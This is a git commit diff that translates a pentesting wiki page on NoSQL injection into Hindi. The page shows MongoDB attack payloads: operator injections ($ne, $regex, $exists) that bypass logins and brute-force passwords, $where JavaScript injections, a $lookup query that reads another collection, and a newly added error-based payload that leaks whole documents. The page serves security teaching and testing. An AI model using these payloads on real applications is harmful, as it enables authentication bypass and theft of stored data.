Translated ['src/pentesting-web/nosql-injection.md'] to hi

This commit is contained in:
Translator 2025-07-08 19:35:04 +00:00
parent 01f6bb976a
commit a9eb75a7ac

View File

@ -6,7 +6,7 @@
PHP में आप एक Array भेज सकते हैं, भेजे गए पैरामीटर को _parameter=foo_ से _parameter\[arrName]=foo_ में बदलकर। PHP में आप एक Array भेज सकते हैं, भेजे गए पैरामीटर को _parameter=foo_ से _parameter\[arrName]=foo_ में बदलकर।
एक्सप्लॉइट्स **Operator** जोड़ने पर आधारित हैं: शोषण **Operator** जोड़ने पर आधारित हैं:
```bash ```bash
username[$ne]=1$password[$ne]=1 #<Not Equals> username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
```javascript ```javascript
query = { $where: `this.username == '${username}'` } query = { $where: `this.username == '${username}'` }
``` ```
एक हमलावर इसको इस तरह से भुनाने के लिए स्ट्रिंग्स जैसे `admin' || 'a'=='a` इनपुट कर सकता है, जिससे क्वेरी सभी दस्तावेज़ों को वापस कर देती है क्योंकि यह एक तात्त्विकता (`'a'=='a'`) के साथ शर्त को पूरा करती है। यह SQL इंजेक्शन हमलों के समान है जहाँ इनपुट जैसे `' or 1=1-- -` का उपयोग SQL क्वेरीज़ को हेरफेर करने के लिए किया जाता है। MongoDB में, इसी तरह के इंजेक्शन इनपुट जैसे `' || 1==1//`, `' || 1==1%00`, या `admin' || 'a'=='a` का उपयोग करके किए जा सकते हैं। एक हमलावर इसे इस तरह से उपयोग कर सकता है कि वह स्ट्रिंग्स जैसे `admin' || 'a'=='a` इनपुट कर, जिससे क्वेरी सभी दस्तावेज़ों को वापस कर देगी क्योंकि यह एक तात्त्विकता (`'a'=='a'`) के साथ शर्त को पूरा करती है। यह SQL इंजेक्शन हमलों के समान है जहाँ इनपुट जैसे `' or 1=1-- -` का उपयोग SQL क्वेरियों को हेरफेर करने के लिए किया जाता है। MongoDB में, इसी तरह के इंजेक्शन इनपुट जैसे `' || 1==1//`, `' || 1==1%00`, या `admin' || 'a'=='a` का उपयोग करके किए जा सकते हैं।
``` ```
Normal sql: ' or 1=1-- - Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
@ -46,7 +46,7 @@ username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3} username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3... # True if the length equals 1,3...
``` ```
### Extract **data** information ### डेटा जानकारी निकालें
``` ```
in URL (if length == 3) in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2} username[$ne]=toto&password[$regex]=a.{2}
@ -86,9 +86,9 @@ in JSON
### विभिन्न संग्रह से जानकारी प्राप्त करें ### विभिन्न संग्रह से जानकारी प्राप्त करें
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) का उपयोग करके एक अलग संग्रह से जानकारी प्राप्त करना संभव है। निम्नलिखित उदाहरण में, हम **`users`** नामक **अलग संग्रह** से पढ़ रहे हैं और एक वाइल्डकार्ड से मेल खाने वाले पासवर्ड के साथ **सभी प्रविष्टियों** के **परिणाम** प्राप्त कर रहे हैं। [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) का उपयोग करके एक अलग संग्रह से जानकारी प्राप्त करना संभव है। निम्नलिखित उदाहरण में, हम **`users`** नामक **अलग संग्रह** से पढ़ रहे हैं और एक वाइल्डकार्ड से मेल खाने वाले पासवर्ड के साथ **सभी प्रविष्टियों के परिणाम** प्राप्त कर रहे हैं।
**नोट:** `$lookup` और अन्य समग्र कार्य केवल तभी उपलब्ध हैं जब `aggregate()` फ़ंक्शन का उपयोग खोज करने के लिए किया गया हो, न कि अधिक सामान्य `find()` या `findOne()` फ़ंक्शंस का। **नोट:** `$lookup` और अन्य समेकन कार्य केवल तभी उपलब्ध हैं जब `aggregate()` फ़ंक्शन का उपयोग खोज करने के लिए किया गया हो, न कि अधिक सामान्य `find()` या `findOne()` फ़ंक्शंस का।
```json ```json
[ [
{ {
@ -108,6 +108,12 @@ in JSON
} }
] ]
``` ```
### Error-Based Injection
`throw new Error(JSON.stringify(this))` को `$where` क्लॉज में इंजेक्ट करें ताकि सर्वर-साइड जावास्क्रिप्ट त्रुटियों के माध्यम से पूर्ण दस्तावेज़ों को एक्सफिल्ट्रेट किया जा सके (इसके लिए एप्लिकेशन को डेटाबेस त्रुटियों को लीक करना आवश्यक है)। उदाहरण:
```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
```
## MongoDB Payloads ## MongoDB Payloads
सूची [यहां से](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) सूची [यहां से](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
@ -229,5 +235,6 @@ get_password(u)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}